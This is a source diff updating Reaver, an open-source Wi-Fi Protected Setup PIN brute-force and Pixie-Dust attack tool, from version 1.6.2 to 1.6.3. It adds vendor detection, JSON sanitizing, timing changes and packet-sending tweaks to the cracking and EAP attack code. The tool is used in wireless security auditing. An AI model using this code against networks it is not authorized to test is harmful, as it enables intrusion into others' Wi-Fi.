67 | #define WPS_PROBE_IE "\xdd\x09\x00\x50\xf2\x04\x10\x4a\x00\x01\x10" | |
68 | #define WPS_PROBE_IE_SIZE 11 | |
69 | 62 | |
70 | const void *build_radio_tap_header(size_t *len); | |
71 | const void *build_dot11_frame_header(uint16_t fc, size_t *len); | |
72 | const void *build_authentication_management_frame(size_t *len); | |
73 | const void *build_association_management_frame(size_t *len); | |
74 | const void *build_llc_header(size_t *len); | |
75 | const void *build_wps_probe_request(unsigned char *bssid, char *essid, size_t *len); | |
76 | const void *build_snap_packet(size_t *len); | |
77 | const void *build_dot1X_header(uint8_t type, uint16_t payload_len, size_t *len); | |
78 | const void *build_eap_header(uint8_t id, uint8_t code, uint8_t type, uint16_t payload_len, size_t *len); | |
79 | const void *build_eapol_start_packet(size_t *len); | |
80 | const void *build_eap_packet(const void *payload, uint16_t payload_len, size_t *len); | |
81 | const void *build_eap_failure_packet(size_t *len); | |
82 | const void *build_tagged_parameter(uint8_t number, uint8_t size, size_t *len); | |
83 | const void *build_ssid_tagged_parameter(size_t *len); | |
84 | const void *build_wps_tagged_parameter(size_t *len); | |
85 | const void *build_supported_rates_tagged_parameter(size_t *len); | |
63 | void *build_radio_tap_header(size_t *len); | |
64 | void *build_dot11_frame_header(uint16_t fc, size_t *len); | |
65 | void *build_authentication_management_frame(size_t *len); | |
66 | void *build_association_management_frame(size_t *len); | |
67 | void *build_llc_header(size_t *len); | |
68 | void *build_wps_probe_request(unsigned char *bssid, char *essid, size_t *len); | |
69 | void *build_snap_packet(size_t *len); | |
70 | void *build_dot1X_header(uint8_t type, uint16_t payload_len, size_t *len); | |
71 | void *build_eap_header(uint8_t id, uint8_t code, uint8_t type, uint16_t payload_len, size_t *len); | |
72 | void *build_eapol_start_packet(size_t *len); | |
73 | void *build_eap_packet(const void *payload, uint16_t payload_len, size_t *len); | |
74 | void *build_eap_failure_packet(size_t *len); | |
75 | void *build_tagged_parameter(uint8_t number, uint8_t size, size_t *len); | |
76 | void *build_ssid_tagged_parameter(size_t *len); | |
77 | void *build_wps_tagged_parameter(size_t *len); | |
78 | void *build_supported_rates_tagged_parameter(size_t *len); | |
86 | 79 | |
87 | 80 | #endif |
0 | 0 | #! /bin/sh |
1 | 1 | # Guess values for system-dependent variables and create Makefiles. |
2 | # Generated by GNU Autoconf 2.69 for reaver 1.6.2. | |
2 | # Generated by GNU Autoconf 2.69 for reaver 1.6.3. | |
3 | 3 | # |
4 | 4 | # |
5 | 5 | # Copyright (C) 1992-1996, 1998-2012 Free Software Foundation, Inc. |
576 | 576 | # Identity of this package. |
577 | 577 | PACKAGE_NAME='reaver' |
578 | 578 | PACKAGE_TARNAME='reaver' |
579 | PACKAGE_VERSION='1.6.2' | |
580 | PACKAGE_STRING='reaver 1.6.2' | |
579 | PACKAGE_VERSION='1.6.3' | |
580 | PACKAGE_STRING='reaver 1.6.3' | |
581 | 581 | PACKAGE_BUGREPORT='' |
582 | 582 | PACKAGE_URL='' |
583 | 583 | |
1222 | 1222 | # Omit some internal or obsolete options to make the list less imposing. |
1223 | 1223 | # This message is too long to be a string in the A/UX 3.1 sh. |
1224 | 1224 | cat <<_ACEOF |
1225 | \`configure' configures reaver 1.6.2 to adapt to many kinds of systems. | |
1225 | \`configure' configures reaver 1.6.3 to adapt to many kinds of systems. | |
1226 | 1226 | |
1227 | 1227 | Usage: $0 [OPTION]... [VAR=VALUE]... |
1228 | 1228 | |
1283 | 1283 | |
1284 | 1284 | if test -n "$ac_init_help"; then |
1285 | 1285 | case $ac_init_help in |
1286 | short | recursive ) echo "Configuration of reaver 1.6.2:";; | |
1286 | short | recursive ) echo "Configuration of reaver 1.6.3:";; | |
1287 | 1287 | esac |
1288 | 1288 | cat <<\_ACEOF |
1289 | 1289 | |
1371 | 1371 | test -n "$ac_init_help" && exit $ac_status |
1372 | 1372 | if $ac_init_version; then |
1373 | 1373 | cat <<\_ACEOF |
1374 | reaver configure 1.6.2 | |
1374 | reaver configure 1.6.3 | |
1375 | 1375 | generated by GNU Autoconf 2.69 |
1376 | 1376 | |
1377 | 1377 | Copyright (C) 2012 Free Software Foundation, Inc. |
1669 | 1669 | This file contains any messages produced by compilers while |
1670 | 1670 | running configure, to aid debugging if configure makes a mistake. |
1671 | 1671 | |
1672 | It was created by reaver $as_me 1.6.2, which was | |
1672 | It was created by reaver $as_me 1.6.3, which was | |
1673 | 1673 | generated by GNU Autoconf 2.69. Invocation command line was |
1674 | 1674 | |
1675 | 1675 | $ $0 $@ |
3845 | 3845 | # report actual input values of CONFIG_FILES etc. instead of their |
3846 | 3846 | # values after options handling. |
3847 | 3847 | ac_log=" |
3848 | This file was extended by reaver $as_me 1.6.2, which was | |
3848 | This file was extended by reaver $as_me 1.6.3, which was | |
3849 | 3849 | generated by GNU Autoconf 2.69. Invocation command line was |
3850 | 3850 | |
3851 | 3851 | CONFIG_FILES = $CONFIG_FILES |
3898 | 3898 | cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 |
3899 | 3899 | ac_cs_config="`$as_echo "$ac_configure_args" | sed 's/^ //; s/[\\""\`\$]/\\\\&/g'`" |
3900 | 3900 | ac_cs_version="\\ |
3901 | reaver config.status 1.6.2 | |
3901 | reaver config.status 1.6.3 | |
3902 | 3902 | configured by $0, generated by GNU Autoconf 2.69, |
3903 | 3903 | with options \\"\$ac_cs_config\\" |
3904 | 3904 |
0 | AC_INIT(reaver, 1.6.2) | |
0 | AC_INIT(reaver, 1.6.3) | |
1 | 1 | AC_CONFIG_FILES([config.mak]) |
2 | 2 | AC_PROG_CC |
3 | 3 | AC_LANG(C) |
31 | 31 | */ |
32 | 32 | |
33 | 33 | #include "cracker.h" |
34 | #include "utils/vendor.h" | |
34 | 35 | |
35 | 36 | /* Brute force all possible WPS pins for a given access point */ |
36 | 37 | void crack() |
75 | 76 | */ |
76 | 77 | cprintf(INFO, "[+] Waiting for beacon from %s\n", bssid); |
77 | 78 | read_ap_beacon(); |
78 | ||
79 | cprintf(INFO, "[+] Received beacon from %s\n", bssid); | |
80 | char *vendor; | |
81 | if((vendor = get_vendor_string(get_vendor()))) | |
82 | cprintf(INFO, "[+] Vendor: %s\n", vendor); | |
79 | 83 | /* I'm fairly certian there's a reason I put this in twice. Can't remember what it was now though... */ |
80 | 84 | if(get_max_pin_attempts() == -1) |
81 | 85 | { |
83 | 87 | return; |
84 | 88 | } |
85 | 89 | |
90 | #if 0 | |
86 | 91 | /* This initial association is just to make sure we can successfully associate */ |
87 | 92 | while(!reassociate()) |
88 | 93 | { |
96 | 101 | assoc_fail_count++; |
97 | 102 | } |
98 | 103 | } |
99 | cprintf(INFO, "[+] Associated with %s (ESSID: %s)\n", bssid, get_ssid()); | |
104 | #endif | |
100 | 105 | |
101 | 106 | /* Used to calculate pin attempt rates */ |
102 | 107 | start_time = time(NULL); |
180 | 185 | assoc_fail_count++; |
181 | 186 | } |
182 | 187 | } |
183 | ||
188 | cprintf(INFO, "[+] Associated with %s (ESSID: %s)\n", bssid, get_ssid()); | |
189 | ||
184 | 190 | |
185 | 191 | /* |
186 | 192 | * Enter receive loop. This will block until a receive timeout occurs or a |
80 | 80 | #define EAP_IDENTITY 0x01 |
81 | 81 | #define EAP_EXPANDED 0xFE |
82 | 82 | |
83 | #define M57_DEFAULT_TIMEOUT 200000 /* uSeconds */ | |
83 | #define M57_DEFAULT_TIMEOUT 400000 /* uSeconds */ | |
84 | 84 | #define M57_MAX_TIMEOUT 1000000 /* uSeconds */ |
85 | 85 | #define DEFAULT_DELAY 1 /* Seconds */ |
86 | #define DEFAULT_TIMEOUT 5 /* Seconds */ | |
86 | #define DEFAULT_TIMEOUT 10 /* Seconds */ | |
87 | 87 | #define DEFAULT_LOCK_DELAY 60 /* Seconds */ |
88 | 88 | #define SEC_TO_US 1000000 /* uSeconds in a Second */ |
89 | 89 | |
126 | 126 | CRITICAL = 0, |
127 | 127 | INFO = 1, |
128 | 128 | WARNING = 2, |
129 | VERBOSE = 3 | |
129 | VERBOSE = 3, | |
130 | DEBUG = 4 | |
130 | 131 | }; |
131 | 132 | |
132 | 133 | enum eap_codes |
296 | 296 | void set_debug(enum debug_level value) |
297 | 297 | { |
298 | 298 | globule->debug = value; |
299 | if(value == DEBUG) wpa_debug_level = MSG_DEBUG; | |
299 | 300 | } |
300 | 301 | enum debug_level get_debug() |
301 | 302 | { |
534 | 535 | if(globule->ap_rates) |
535 | 536 | { |
536 | 537 | free(globule->ap_rates); |
537 | globule->ap_rates = NULL; | |
538 | 538 | globule->ap_rates_len = 0; |
539 | 539 | } |
540 | 540 | |
552 | 552 | return globule->ap_rates; |
553 | 553 | } |
554 | 554 | |
555 | void set_ap_ext_rates(unsigned char *value, int len) | |
556 | { | |
557 | if(globule->ap_ext_rates) | |
558 | { | |
559 | free(globule->ap_ext_rates); | |
560 | globule->ap_ext_rates_len = 0; | |
561 | } | |
562 | ||
563 | globule->ap_ext_rates = malloc(len); | |
564 | if(globule->ap_ext_rates) | |
565 | { | |
566 | memcpy(globule->ap_ext_rates, value, len); | |
567 | globule->ap_ext_rates_len = len; | |
568 | } | |
569 | } | |
570 | ||
571 | unsigned char *get_ap_ext_rates(int *len) | |
572 | { | |
573 | *len = globule->ap_ext_rates_len; | |
574 | return globule->ap_ext_rates; | |
575 | } | |
576 | ||
555 | 577 | void set_exec_string(char *string) |
556 | 578 | { |
557 | 579 | if(globule->exec_string) |
578 | 600 | { |
579 | 601 | return globule->oo_send_nack; |
580 | 602 | } |
603 | ||
604 | void set_vendor(int is_set, const unsigned char* v) { | |
605 | globule->vendor_oui[0] = is_set; | |
606 | if(is_set) memcpy(globule->vendor_oui+1, v, 3); | |
607 | } | |
608 | unsigned char *get_vendor(void) { | |
609 | if(!globule->vendor_oui[0]) return 0; | |
610 | return globule->vendor_oui+1; | |
611 | } | |
612 |
113 | 113 | |
114 | 114 | unsigned char mac[MAC_ADDR_LEN]; /* Source MAC address */ |
115 | 115 | |
116 | unsigned char vendor_oui[1+3]; /* the first byte contains 1 if set, 0 if not, the next 3 bytes the actual vendor OUI */ | |
117 | ||
116 | 118 | unsigned char *ap_rates; /* Supported rates IE data, as reported by the AP */ |
117 | 119 | |
118 | 120 | int ap_rates_len; /* Length of the supported rates IE data */ |
121 | ||
122 | unsigned char *ap_ext_rates; /* Supported ext rates IE data, as reported by the AP */ | |
123 | ||
124 | int ap_ext_rates_len; /* Length of the supported ext rates IE data */ | |
119 | 125 | |
120 | 126 | FILE *fp; /* Handle to log file */ |
121 | 127 | |
233 | 239 | struct wps_data *get_wps(); |
234 | 240 | void set_ap_rates(unsigned char *value, int len); |
235 | 241 | unsigned char *get_ap_rates(int *len); |
242 | void set_ap_ext_rates(unsigned char *value, int len); | |
243 | unsigned char *get_ap_ext_rates(int *len); | |
236 | 244 | void set_exec_string(char *string); |
237 | 245 | char *get_exec_string(void); |
238 | 246 | void set_oo_send_nack(int value); |
239 | 247 | int get_oo_send_nack(void); |
240 | ||
248 | void set_vendor(int, const unsigned char*); | |
249 | unsigned char *get_vendor(void); | |
241 | 250 | #endif |
11 | 11 | #define LIBWPS_C |
12 | 12 | |
13 | 13 | #include "libwps.h" |
14 | ||
15 | char *wps_data_to_json(const char*bssid, const char *ssid, int channel, int rssi,struct libwps_data *wps) { | |
14 | #include <assert.h> | |
15 | ||
16 | static char* append(char* s1, char *s2) { | |
17 | char buf[512]; | |
18 | int l = snprintf(buf, sizeof buf, "%s%s", s1, s2); | |
19 | if (l <= 0) return 0; | |
20 | if (l >= sizeof(buf)) { | |
21 | char *new = malloc(l + 1); | |
22 | if(!new) return 0; | |
23 | int m = snprintf(new, l + 1, "%s%s", s1, s2); | |
24 | assert(m == l); | |
25 | return new; | |
26 | } | |
27 | return strdup(buf); | |
28 | } | |
29 | ||
30 | static char* append_and_free(char* s1, char *s2, int who) { | |
31 | char *new = append(s1, s2); | |
32 | if(who & 1) free(s1); | |
33 | if(who & 2) free(s2); | |
34 | return new; | |
35 | } | |
36 | ||
37 | static char* sanitize_string(char *s) { | |
38 | size_t i,j, l = strlen(s), ls=l; | |
39 | for(i=0;i<ls;i++) if(s[i] < ' ' || s[i] > 127) l += 4; | |
40 | char *new = malloc(l+1); | |
41 | if(!new) return 0; | |
42 | for(i=0,j=0;i<ls;i++) { | |
43 | if(s[i] < ' ' || s[i] > 127) { | |
44 | sprintf(new + j, "\\\\x%02x", s[i] & 0xff); | |
45 | j += 4; | |
46 | } else new[j] = s[i]; | |
47 | j++; | |
48 | } | |
49 | new[j] = 0; | |
50 | return new; | |
51 | } | |
52 | ||
53 | char *wps_data_to_json(const char*bssid, const char *ssid, int channel, int rssi, const unsigned char* vendor, struct libwps_data *wps) { | |
16 | 54 | size_t ol = 0, nl = 0, ns = 0; |
17 | char *json_str = 0, *old = strdup("{"); | |
55 | char *json_str = 0, *old = strdup("{"), *tmp; | |
18 | 56 | char buf[1024]; |
19 | 57 | |
20 | 58 | nl = snprintf(buf, sizeof buf, "\"bssid\" : \"%s\", ", bssid); |
21 | ol = strlen(old); | |
22 | ns = ol + nl + 1; | |
23 | json_str = malloc(ns); | |
24 | snprintf(json_str, ns, "%s%s", old, buf); | |
25 | free(old); | |
59 | json_str = append_and_free(old, buf, 1); | |
26 | 60 | old = json_str; |
27 | 61 | |
28 | 62 | nl = snprintf(buf, sizeof buf, "\"essid\" : \"%s\", ", ssid); |
29 | ol = strlen(old); | |
30 | ns = ol + nl + 1; | |
31 | json_str = malloc(ns); | |
32 | snprintf(json_str, ns, "%s%s", old, buf); | |
33 | free(old); | |
63 | json_str = append_and_free(old, buf, 1); | |
34 | 64 | old = json_str; |
35 | 65 | |
36 | 66 | nl = snprintf(buf, sizeof buf, "\"channel\" : %d, ", channel); |
37 | ol = strlen(old); | |
38 | ns = ol + nl + 1; | |
39 | json_str = malloc(ns); | |
40 | snprintf(json_str, ns, "%s%s", old, buf); | |
41 | free(old); | |
67 | json_str = append_and_free(old, buf, 1); | |
42 | 68 | old = json_str; |
43 | 69 | |
44 | 70 | nl = snprintf(buf, sizeof buf, "\"rssi\" : %d, ", rssi); |
45 | ol = strlen(old); | |
46 | ns = ol + nl + 1; | |
47 | json_str = malloc(ns); | |
48 | snprintf(json_str, ns, "%s%s", old, buf); | |
49 | free(old); | |
71 | json_str = append_and_free(old, buf, 1); | |
50 | 72 | old = json_str; |
73 | ||
74 | if(vendor) { | |
75 | nl = snprintf(buf, sizeof buf, "\"vendor_oui\" : \"%02X%02X%02X\", ", vendor[0], vendor[1], vendor[2]); | |
76 | json_str = append_and_free(old, buf, 1); | |
77 | old = json_str; | |
78 | } | |
51 | 79 | |
52 | 80 | if(wps->version) { |
53 | 81 | nl = snprintf(buf, sizeof buf, "\"wps_version\" : %d, ", wps->version); |
54 | ol = strlen(old); | |
55 | ns = ol + nl + 1; | |
56 | json_str = malloc(ns); | |
57 | snprintf(json_str, ns, "%s%s", old, buf); | |
58 | free(old); | |
82 | json_str = append_and_free(old, buf, 1); | |
59 | 83 | old = json_str; |
60 | 84 | } |
61 | 85 | if(wps->state) { |
62 | 86 | nl = snprintf(buf, sizeof buf, "\"wps_state\" : %d, ", wps->state); |
63 | ol = strlen(old); | |
64 | ns = ol + nl + 1; | |
65 | json_str = malloc(ns); | |
66 | snprintf(json_str, ns, "%s%s", old, buf); | |
67 | free(old); | |
87 | json_str = append_and_free(old, buf, 1); | |
68 | 88 | old = json_str; |
69 | 89 | } |
70 | 90 | if(wps->locked) { |
71 | 91 | nl = snprintf(buf, sizeof buf, "\"wps_locked\" : %d, ", wps->locked); |
72 | ol = strlen(old); | |
73 | ns = ol + nl + 1; | |
74 | json_str = malloc(ns); | |
75 | snprintf(json_str, ns, "%s%s", old, buf); | |
76 | free(old); | |
92 | json_str = append_and_free(old, buf, 1); | |
77 | 93 | old = json_str; |
78 | 94 | } |
79 | 95 | if(*wps->manufacturer) { |
80 | nl = snprintf(buf, sizeof buf, "\"wps_manufacturer\" : \"%s\", ", wps->manufacturer); | |
81 | ol = strlen(old); | |
82 | ns = ol + nl + 1; | |
83 | json_str = malloc(ns); | |
84 | snprintf(json_str, ns, "%s%s", old, buf); | |
85 | free(old); | |
96 | tmp = sanitize_string(wps->manufacturer); | |
97 | nl = snprintf(buf, sizeof buf, "\"wps_manufacturer\" : \"%s\", ", tmp); | |
98 | free(tmp); | |
99 | json_str = append_and_free(old, buf, 1); | |
86 | 100 | old = json_str; |
87 | 101 | } |
88 | 102 | if(*wps->model_name) { |
89 | nl = snprintf(buf, sizeof buf, "\"wps_model_name\" : \"%s\", ", wps->model_name); | |
90 | ol = strlen(old); | |
91 | ns = ol + nl + 1; | |
92 | json_str = malloc(ns); | |
93 | snprintf(json_str, ns, "%s%s", old, buf); | |
94 | free(old); | |
103 | tmp = sanitize_string(wps->model_name); | |
104 | nl = snprintf(buf, sizeof buf, "\"wps_model_name\" : \"%s\", ", tmp); | |
105 | free(tmp); | |
106 | json_str = append_and_free(old, buf, 1); | |
95 | 107 | old = json_str; |
96 | 108 | } |
97 | 109 | if(*wps->model_number) { |
98 | nl = snprintf(buf, sizeof buf, "\"wps_model_number\" : \"%s\", ", wps->model_number); | |
99 | ol = strlen(old); | |
100 | ns = ol + nl + 1; | |
101 | json_str = malloc(ns); | |
102 | snprintf(json_str, ns, "%s%s", old, buf); | |
103 | free(old); | |
110 | tmp = sanitize_string(wps->model_number); | |
111 | nl = snprintf(buf, sizeof buf, "\"wps_model_number\" : \"%s\", ", tmp); | |
112 | free(tmp); | |
113 | json_str = append_and_free(old, buf, 1); | |
104 | 114 | old = json_str; |
105 | 115 | } |
106 | 116 | if(*wps->device_name) { |
107 | nl = snprintf(buf, sizeof buf, "\"wps_device_name\" : \"%s\", ", wps->device_name); | |
108 | ol = strlen(old); | |
109 | ns = ol + nl + 1; | |
110 | json_str = malloc(ns); | |
111 | snprintf(json_str, ns, "%s%s", old, buf); | |
112 | free(old); | |
117 | tmp = sanitize_string(wps->device_name); | |
118 | nl = snprintf(buf, sizeof buf, "\"wps_device_name\" : \"%s\", ", tmp); | |
119 | free(tmp); | |
120 | json_str = append_and_free(old, buf, 1); | |
113 | 121 | old = json_str; |
114 | 122 | } |
115 | 123 | if(*wps->ssid) { |
116 | nl = snprintf(buf, sizeof buf, "\"wps_ssid\" : \"%s\", ", wps->ssid); | |
117 | ol = strlen(old); | |
118 | ns = ol + nl + 1; | |
119 | json_str = malloc(ns); | |
120 | snprintf(json_str, ns, "%s%s", old, buf); | |
121 | free(old); | |
124 | tmp = sanitize_string(wps->ssid); | |
125 | nl = snprintf(buf, sizeof buf, "\"wps_ssid\" : \"%s\", ", tmp); | |
126 | free(tmp); | |
127 | json_str = append_and_free(old, buf, 1); | |
122 | 128 | old = json_str; |
123 | 129 | } |
124 | 130 | if(*wps->serial) { |
125 | nl = snprintf(buf, sizeof buf, "\"wps_serial\" : \"%s\", ", wps->serial); | |
126 | ol = strlen(old); | |
127 | ns = ol + nl + 1; | |
128 | json_str = malloc(ns); | |
129 | snprintf(json_str, ns, "%s%s", old, buf); | |
130 | free(old); | |
131 | tmp = sanitize_string(wps->serial); | |
132 | nl = snprintf(buf, sizeof buf, "\"wps_serial\" : \"%s\", ", tmp); | |
133 | free(tmp); | |
134 | json_str = append_and_free(old, buf, 1); | |
131 | 135 | old = json_str; |
132 | 136 | } |
133 | 137 | if(*wps->os_version) { |
134 | nl = snprintf(buf, sizeof buf, "\"wps_os_version\" : \"%s\", ", wps->os_version); | |
135 | ol = strlen(old); | |
136 | ns = ol + nl + 1; | |
137 | json_str = malloc(ns); | |
138 | snprintf(json_str, ns, "%s%s", old, buf); | |
139 | free(old); | |
138 | tmp = sanitize_string(wps->os_version); | |
139 | nl = snprintf(buf, sizeof buf, "\"wps_os_version\" : \"%s\", ", tmp); | |
140 | free(tmp); | |
141 | json_str = append_and_free(old, buf, 1); | |
140 | 142 | old = json_str; |
141 | 143 | } |
142 | 144 | if(*wps->uuid) { |
143 | nl = snprintf(buf, sizeof buf, "\"wps_uuid\" : \"%s\", ", wps->uuid); | |
144 | ol = strlen(old); | |
145 | ns = ol + nl + 1; | |
146 | json_str = malloc(ns); | |
147 | snprintf(json_str, ns, "%s%s", old, buf); | |
148 | free(old); | |
145 | tmp = sanitize_string(wps->uuid); | |
146 | nl = snprintf(buf, sizeof buf, "\"wps_uuid\" : \"%s\", ", tmp); | |
147 | free(tmp); | |
148 | json_str = append_and_free(old, buf, 1); | |
149 | 149 | old = json_str; |
150 | 150 | } |
151 | 151 | if(*wps->selected_registrar) { |
152 | nl = snprintf(buf, sizeof buf, "\"wps_selected_registrar\" : \"%s\", ", wps->selected_registrar); | |
153 | ol = strlen(old); | |
154 | ns = ol + nl + 1; | |
155 | json_str = malloc(ns); | |
156 | snprintf(json_str, ns, "%s%s", old, buf); | |
157 | free(old); | |
152 | tmp = sanitize_string(wps->selected_registrar); | |
153 | nl = snprintf(buf, sizeof buf, "\"wps_selected_registrar\" : \"%s\", ", tmp); | |
154 | free(tmp); | |
155 | json_str = append_and_free(old, buf, 1); | |
158 | 156 | old = json_str; |
159 | 157 | } |
160 | 158 | if(*wps->response_type) { |
161 | nl = snprintf(buf, sizeof buf, "\"wps_response_type\" : \"%s\", ", wps->response_type); | |
162 | ol = strlen(old); | |
163 | ns = ol + nl + 1; | |
164 | json_str = malloc(ns); | |
165 | snprintf(json_str, ns, "%s%s", old, buf); | |
166 | free(old); | |
159 | tmp = sanitize_string(wps->response_type); | |
160 | nl = snprintf(buf, sizeof buf, "\"wps_response_type\" : \"%s\", ", tmp); | |
161 | free(tmp); | |
162 | json_str = append_and_free(old, buf, 1); | |
167 | 163 | old = json_str; |
168 | 164 | } |
169 | 165 | if(*wps->primary_device_type) { |
170 | nl = snprintf(buf, sizeof buf, "\"wps_primary_device_type\" : \"%s\", ", wps->primary_device_type); | |
171 | ol = strlen(old); | |
172 | ns = ol + nl + 1; | |
173 | json_str = malloc(ns); | |
174 | snprintf(json_str, ns, "%s%s", old, buf); | |
175 | free(old); | |
166 | tmp = sanitize_string(wps->primary_device_type); | |
167 | nl = snprintf(buf, sizeof buf, "\"wps_primary_device_type\" : \"%s\", ", tmp); | |
168 | free(tmp); | |
169 | json_str = append_and_free(old, buf, 1); | |
176 | 170 | old = json_str; |
177 | 171 | } |
178 | 172 | if(*wps->config_methods) { |
179 | nl = snprintf(buf, sizeof buf, "\"wps_config_methods\" : \"%s\", ", wps->config_methods); | |
180 | ol = strlen(old); | |
181 | ns = ol + nl + 1; | |
182 | json_str = malloc(ns); | |
183 | snprintf(json_str, ns, "%s%s", old, buf); | |
184 | free(old); | |
173 | tmp = sanitize_string(wps->config_methods); | |
174 | nl = snprintf(buf, sizeof buf, "\"wps_config_methods\" : \"%s\", ", tmp); | |
175 | free(tmp); | |
176 | json_str = append_and_free(old, buf, 1); | |
185 | 177 | old = json_str; |
186 | 178 | } |
187 | 179 | if(*wps->rf_bands) { |
188 | nl = snprintf(buf, sizeof buf, "\"wps_rf_bands\" : \"%s\", ", wps->rf_bands); | |
189 | ol = strlen(old); | |
190 | ns = ol + nl + 1; | |
191 | json_str = malloc(ns); | |
192 | snprintf(json_str, ns, "%s%s", old, buf); | |
193 | free(old); | |
180 | tmp = sanitize_string(wps->rf_bands); | |
181 | nl = snprintf(buf, sizeof buf, "\"wps_rf_bands\" : \"%s\", ", tmp); | |
182 | free(tmp); | |
183 | json_str = append_and_free(old, buf, 1); | |
194 | 184 | old = json_str; |
195 | 185 | } |
196 | 186 | |
197 | 187 | nl = snprintf(buf, sizeof buf, "\"dummy\": 0}"); |
198 | ol = strlen(old); | |
199 | ns = ol + nl + 1; | |
200 | json_str = malloc(ns); | |
201 | snprintf(json_str, ns, "%s%s", old, buf); | |
202 | free(old); | |
203 | old = json_str; | |
188 | json_str = append_and_free(old, buf, 1); | |
204 | 189 | |
205 | 190 | return json_str; |
206 | 191 | } |
266 | 251 | PRIMARY_DEVICE_TYPE, |
267 | 252 | CONFIG_METHODS, |
268 | 253 | RF_BANDS, |
269 | OS_VERSION | |
254 | OS_VERSION, | |
255 | VENDOR_EXTENSION | |
270 | 256 | }; |
271 | 257 | |
272 | 258 | /* Get the WPS IE data blob */ |
341 | 327 | break; |
342 | 328 | case OS_VERSION: |
343 | 329 | ptr = wps->os_version; |
330 | break; | |
331 | case VENDOR_EXTENSION: | |
332 | if (memcmp(&el[0], WFA_EXTENSION_ID, 3) == 0) | |
333 | { | |
334 | unsigned char *pwfa = &el[3]; /* WFA subelement ID */ | |
335 | while(el_len > 0) /* Cycle through all WFA subelements */ | |
336 | { | |
337 | if (*pwfa == WPS_VERSION2_ID) | |
338 | { | |
339 | wps->version = (uint8_t) pwfa[2]; | |
340 | break; | |
341 | } | |
342 | el_len -= pwfa[1] + 2; | |
343 | pwfa += pwfa[1] + 2; | |
344 | } | |
345 | } | |
344 | 346 | break; |
345 | 347 | default: |
346 | 348 | src = NULL; |
50 | 50 | }; |
51 | 51 | |
52 | 52 | int parse_wps_parameters(const u_char *packet, size_t len, struct libwps_data *wps); |
53 | char *wps_data_to_json(const char*bssid, const char *ssid, int channel, int rssi, struct libwps_data *wps); | |
53 | char *wps_data_to_json(const char*bssid, const char *ssid, int channel, int rssi, const unsigned char* vendor, struct libwps_data *wps); | |
54 | 54 | |
55 | 55 | #ifdef LIBWPS_C |
56 | 56 | |
58 | 58 | #define WPS_VENDOR_ID "\x00\x50\xF2\x04" |
59 | 59 | #define WPS_VENDOR_ID_SIZE 4 |
60 | 60 | #define VENDOR_ID_OFFSET 2 |
61 | #define WFA_EXTENSION_ID "\x00\x37\x2A" | |
62 | #define WPS_VERSION2_ID 0 | |
61 | 63 | |
62 | 64 | #define RADIO_TAP_VERSION 0 |
63 | 65 | #define FAKE_RADIO_TAP_HEADER "\x00\x00\x00\x00\x00\x00\x00\x00" |
82 | 84 | PRIMARY_DEVICE_TYPE = 0x1054, |
83 | 85 | CONFIG_METHODS = 0x1008, |
84 | 86 | RF_BANDS = 0x103C, |
85 | OS_VERSION = 0x102D | |
87 | OS_VERSION = 0x102D, | |
88 | VENDOR_EXTENSION = 0x1049 | |
86 | 89 | }; |
87 | 90 | |
88 | 91 | struct wps_element |
7 | 7 | void pixie_format(const unsigned char *in, unsigned len, char *outbuf) { |
8 | 8 | unsigned i; |
9 | 9 | char *out = outbuf; |
10 | for(i = 0; i < len; i++, out+=3) { | |
11 | sprintf(out, "%02x:", in[i]); | |
10 | for(i = 0; i < len; i++, out+=2) { | |
11 | sprintf(out, "%02x", in[i]); | |
12 | 12 | } |
13 | if(i) *(--out) = 0; | |
13 | if(i) *out = 0; | |
14 | 14 | } |
15 | 15 | |
16 | 16 | void pixie_attack(void) { |
44 | 44 | if(packet) |
45 | 45 | { |
46 | 46 | cprintf(VERBOSE, "[+] Sending EAPOL START request\n"); |
47 | ret_val = send_packet(packet, packet_len); | |
47 | ret_val = send_packet(packet, packet_len, 1); | |
48 | 48 | free((void *) packet); |
49 | 49 | } |
50 | 50 | |
77 | 77 | if(packet) |
78 | 78 | { |
79 | 79 | cprintf(VERBOSE, "[+] Sending identity response\n"); |
80 | ret_val = send_packet(packet, packet_len); | |
80 | ret_val = send_packet(packet, packet_len, 1); | |
81 | 81 | free((void *) packet); |
82 | 82 | } |
83 | 83 | |
112 | 112 | packet = build_eap_packet(payload, payload_len, &packet_len); |
113 | 113 | if(packet) |
114 | 114 | { |
115 | if(send_packet(packet, packet_len)) | |
115 | if(send_packet(packet, packet_len, 1)) | |
116 | 116 | { |
117 | 117 | ret_val = 1; |
118 | 118 | } else { |
138 | 138 | data = build_eap_failure_packet(&data_size); |
139 | 139 | if(data) |
140 | 140 | { |
141 | send_packet(data, data_size); | |
141 | send_packet(data, data_size, 1); | |
142 | 142 | free((void*) data); |
143 | 143 | } |
144 | 144 | } |
156 | 156 | * All transmissions are handled here to ensure that the receive timer |
157 | 157 | * is always started immediately after a packet is transmitted. |
158 | 158 | */ |
159 | int send_packet(const void *packet, size_t len) | |
159 | int send_packet(const void *packet, size_t len, int use_timer) | |
160 | 160 | { |
161 | 161 | int ret_val = 0; |
162 | 162 | |
165 | 165 | ret_val = 1; |
166 | 166 | } |
167 | 167 | |
168 | start_timer(); | |
168 | if (use_timer) start_timer(); | |
169 | 169 | |
170 | 170 | return ret_val; |
171 | 171 | } |
46 | 46 | int send_msg(int type); |
47 | 47 | void send_termination(); |
48 | 48 | void send_wsc_nack(); |
49 | int send_packet(const void *packet, size_t len); | |
49 | int send_packet(const void *packet, size_t len, int use_timer); | |
50 | 50 | |
51 | 51 | #endif |
0 | #include <string.h> | |
1 | ||
2 | char *get_vendor_string(const unsigned char* oui) { | |
3 | #define VENDOR_STR_SIZE (8 + 1) | |
4 | struct vendor { | |
5 | unsigned char id[3]; | |
6 | char name[VENDOR_STR_SIZE]; | |
7 | }; | |
8 | ||
9 | static const struct vendor vendors[] = | |
10 | { /* Using the same names as Wireshark */ | |
11 | {"\x00\x10\x18", "Broadcom"}, /* Broadcom */ | |
12 | {"\x00\x03\x7f", "AtherosC"}, /* Atheros Communications */ | |
13 | {"\x00\x0c\x43", "RalinkTe"}, /* Ralink Technology, Corp. */ | |
14 | {"\x00\x17\xa5", "RalinkTe"}, /* Ralink Technology Corp */ | |
15 | {"\x00\xe0\x4c", "RealtekS"}, /* Realtek Semiconductor Corp. */ | |
16 | {"\x00\x0a\x00", "Mediatek"}, /* Mediatek Corp. */ | |
17 | {"\x00\x0c\xe7", "Mediatek"}, /* Mediatek MediaTek Inc. */ | |
18 | {"\x00\x1c\x51", "CelenoCo"}, /* Celeno Communications */ | |
19 | {"\x00\x50\x43", "MarvellS"}, /* Marvell Semiconductor, Inc. */ | |
